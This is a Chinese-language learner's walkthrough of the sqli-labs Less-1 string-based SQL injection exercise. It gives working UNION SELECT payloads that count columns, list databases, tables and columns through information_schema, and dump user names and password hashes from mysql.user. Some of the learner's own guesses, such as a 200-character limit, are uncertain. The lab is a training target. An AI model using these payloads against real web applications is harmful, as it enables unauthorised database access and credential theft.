Less-1 Error Based - String
payload:?id=1
回显显示正常
payload:?id=1+1
payload:?id=1-1
回显和id=1一致 说明+1没有被执行
则id的字段类型不是数字型
了解到这一点后 我查询了字符型的sql注入
测试注入语句是:
xx' and '1'=1--'
xx' and '1=2--'
然后我测试了两个payload
?id=1'and '1'=1--'
?id=1'and '1=2--'
第二个payload回显错误
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1=2--'' LIMIT 0,1' at line 1
则说明确实为字符型注入
注意:near '' 1 ’ LIMIT 0,1 ' at line 1 这一块说明了什么!
分析一下 --+注释就是
下一个步骤为猜字段数
方式为联合查询
1到12 到123
123时回显正常 则说明有三列
payload:?id=1' union select 1,2,3%23
然后指定id=0来判断回显的内容 和第几列对应
payload:?id=0' union select 1,2,3%23
name对应2,password对应3,所以我们在构造payload的时候只需要替换2即可(不太理解)
下一步爆数据库名
payload:?id=0' UNION SELECT 1,database(),3%23
引入database()函数
DATABASE()函数
MySQL中的DATABASE()函数返回默认或当前数据库的名称。
DATABASE()函数返回的字符串或名称使用utf8字符集。
如果没有默认数据库,则Database函数返回NULL。
所以可以得出数据库的名字 security
下一步爆表名
payload:?id=0' UNION SELECT 1,(SELECT GROUP_CONCAT(table_name) from information_schema.tables),3%23
引入GROUP_CONCAT(table_name)函数
解释为:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
引入information_schema.tables
解释为:mysql中的information_schema 结构用来存储数据库系统信息
这句的意思即为得到当前库的所有表名
似乎没什么用 得到了一大堆表名
下一个payload:
?id=0' UNION SELECT 1,(SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema='security'),3%23
得到当前库的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
上一步dabase()已经爆出数据库名为security 也就是替换即可
security库的表名有 emails,referers,uagents,users
构造payload:
?id=0' UNION SELECT 1,(SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema='mysql'),3%23
现在爆的是mysql库的表名
得出一大堆
下一步爆字段名
payload:
?id=0' UNION SELECT 1,(SELECT GROUP_CONCAT(COLUMN_NAME) from information_schema.COLUMNS where table_schema='mysql' and table_name='user'),3%23
样式是不变的 前面改为COLUMN_NAME表示查询的是字段名
后面多加个table_name表示表名是什么 方便查询字段名
此处查的是mysql库里的user表
然后又查出来一堆Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routin
注意:因为sql查询的字段数是有限制的 所以要利用substr函数逐步获取全部字段名
?id=0' UNION SELECT 1,(SELECT substr(GROUP_CONCAT(COLUMN_NAME),1,200) from information_schema.COLUMNS where table_schema='mysql' and table_name='user'),3%23
然后把1,200改成 200,400然后再改成400,200
(疑问是为什么要用这样的数字,猜测可能最大限制是200)
然后就得出了完整的字段名mysql->user->
Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Triger_priv,Create_tablespace_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string
下一步构造root权限
payload:
?id=0' UNION SELECT 1,(SELECT count(*) from mysql.user),3%23
没看翻译基本可以看懂了 联合查询 name替换为了
SELECT count(*) from mysql.user
后面的意思也很简单 mysql库的user表
count(*) 函数就是返回user表的行数
我返回了一个5 但wp上说的是四行 留观
构造payload:
?id=0' UNION SELECT 1,(SELECT GROUP_CONCAT(CONCAT(Host,'-',User,'-',Password,'-',authentication_string)) from mysql.user),3%23
引入concat函数 链接字符串就是
concat()函数
\1. 含义:
将多个字符串连接成一个字符串。
\2. 演示:
select concat (id, name) as info from t1;
那么payload的含义就很明显了 连接Host User等等表的字符串 中间用“-“符号隔开
回显结果是:
localhost-root--,3b9929c797f1-root--,127.0.0.1-root--,::1-root--,%-mituan-31ec5cdb55adb176-
flag :3b9929c797f1
说明不允许远程登录,如果MySQL允许root远程登录的话会出现一行新的数据host内部为%,如下所示 %-root-xxxx-xxxxx
不太理解 远程登录